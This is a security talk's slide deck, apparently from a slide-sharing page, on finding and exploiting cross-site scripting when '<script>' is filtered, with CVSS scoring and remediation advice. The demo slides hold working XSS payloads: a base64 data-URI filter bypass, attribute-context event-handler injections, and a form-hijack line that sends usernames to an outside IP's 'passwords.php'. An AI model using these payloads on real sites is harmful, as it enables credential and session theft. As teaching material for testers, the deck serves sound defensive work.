Upload
todd-benson
View
880
Download
0
Tags:
Embed Size (px)
DESCRIPTION
A discussion on discovering XSS, application context and how to exploit XSS attacks when the
Citation preview
Todd Benson
Application Context and Discovering XSS without <Script>
Overview
• Review XSS• Discuss XSS test cases and discovery• Context• CVSS Scoring• Exploiting• Complimentary Vulnerabilities• Remediation
XSS Review
• Risk level: Moderate
• Description: Cross-Site Scripting results from application parameters that allow user-supplied input to be presented in subsequent responses. In particular, when the application allows HTML and JavaScript special characters to be reflected, an attacker can cause the victim to observe different application behavior than expected.
• Exploitation vector: In XSS scenarios, the application allows attacker to use the application as a launching point for attacks against victims’ workstations. An attacker with knowledge of the vulnerability can construct URLs to appropriate PACTS application pages that cause malicious activity within the victim’s browser.
• Recommendation: Validate user-supplied input server-side. Sanitize special characters (e.g., <, >, “, ‘, etc) prior to returning those values to a requesting client.
XSS Test Cases - Formal
1. Submit payloads to each request parameter2. Identify any instances of the application returning the
request parameter unmodified3. Find the location within the HTML of the supplied input and
review the surrounding HTML to identify potential payloads4. Submit various possible payloads to the application via
identified parameters5. If payloads are returned unmodified, confirm with a
browser6. If the payloads are modified, attempt to bypass the server-
side filters
XSS Discovery
• Basic Reflection– XSSTEST
• Filter Detection– <XSSTEST>– <"';()>– "';()– %3cXSSTEST%3e– %3c%22%27%3b%28%29%3e– %22%27%3b%28%29– %25%33%63XSSTEST%25%33%65– %25%33%63%25%32%32%25%32%37%25%33%62%25%32%38%25%
32%39%25%33%65– %25%32%32%25%32%37%25%33%62%25%32%38%25%32%39
XSS Test Cases – In reality
1. Discover XSS - Tool(s)2. Confirm existence3. Show PoC (Alert popup)4. Craft an exploit – Filter?– How easily is the exploit detected?– Will the exploit run most or all of the time?– What are factors that may not allow it to run?
5. With other Vulns
Discovering XSS
Using tools– Pretty good, for reflective– Some are better than others– Even when they are good, they can only do so
much– At best, PoC– Don’t understand context
Context
What do we mean by context? What… area of the application? Where… in the page is the payload injected? Who… is the client (User role AND browser)? How…. will it be exploited?
CVSS Scoring
XSS – Login Demo
• Simple page– Enter username on one page and submit– Enter password and submit– Checks credentials– Filters against <script> and variants
XSS – Login Demo (cont)
Simple "><script>alert(1);</script><!--
XSS – Login Demo (cont)
Filter Bypass" type="hidden" /></center></form><object data="data:text/html;charset=utf-8; base64,PHNjcmlwdD5hbGVydCgxKTs8L3NjcmlwdD4NCg%3D%3D" /></body></html><!--
XSS – Login Demo (cont)
Form abuse" type=hidden></form><form action="http://156.132.142.11/passwords.php method="get"><input name="Username" value="
XSS without < or > - Demo
• Page has 6 different inputs, each one exploitable• For demo purposes only, not meant to be practical or
realistic• < and > are filtered– All exploits must be done in context
XSS without < or > - Demo (cont)
Payloads• Number: ';alert(1);a='
• Link: Test" onclick=alert(1) name="
• Image: a" onerror=alert(1) name=" ## use onload instead?
XSS without < or > - Demo (cont)
Payloads• Name: Todd";} catch(e) {}; alert(1); try{ a="
• Comment: test" type="image" src="a" onerror=alert(1) name="
• Color: ff000;display:block;position:absolute;top:0;left:0;width:999em;height:999em onmouseover=alert(1)
Exploiting – Crafting an Exploit
What can you do?• Modify the page (Site defacement) • Key Logger • Redirect Browser (Forced Browsing) – Steal Cookie (Session hijacking?)– XSSF– BeEF– Load remotely hosted scripts
• Data theft
Exploiting – Crafting an Exploit (Cont)
What else????• Combination: – Number: '; function test() { var elem =
document.getElementById("Comment"); elem.value = 'My default value';}; a=‘
– Comment: " onblur="test();" id="Comment
Complimentary Vulns
• GET/POST• HttpOnly• Session Hijacking• Clickjacking• CSRF• File Upload• What else???
XSS
GET POST
HTTPOnly
Session Hijacking
CSRFClickjacking
CVSS Scoring Steps
• One tool finds it – (Report Confidence: Unconfirmed; Exploitability:
Unproven that exploit exists)• Two tools find it – (Report Confidence: Uncorroborated)
• Manual verification in browser – (Report Confidence: Confirmed)
• Popup – (Exploitability: Proof of concept code)
• Exploit – (Exploitability: Functional exploit exists)
CVSS Scoring Steps (Cont)
Impact Metrics; General Modifiers; Access Complexity; Exploitability;• Type of exploit• Refined exploit • Complimentary vulns
Remediation
• <>"'=;• Properly Escape all untrusted
data based on context (Use a anti-XSS library)• Use Content Security Policy
Summary
• <script>alert(1);</script> isn’t enough to discover XSS and evaluate risk
• Context – Context – Context– of payloads– of who the user is– of location in application– of relation to other vulns
Questions?
References
• mitre• wahh• http://securityoverride.org/articles.php?article_id=13• SANS 542 and 642• http://www.slideshare.net/jimmanico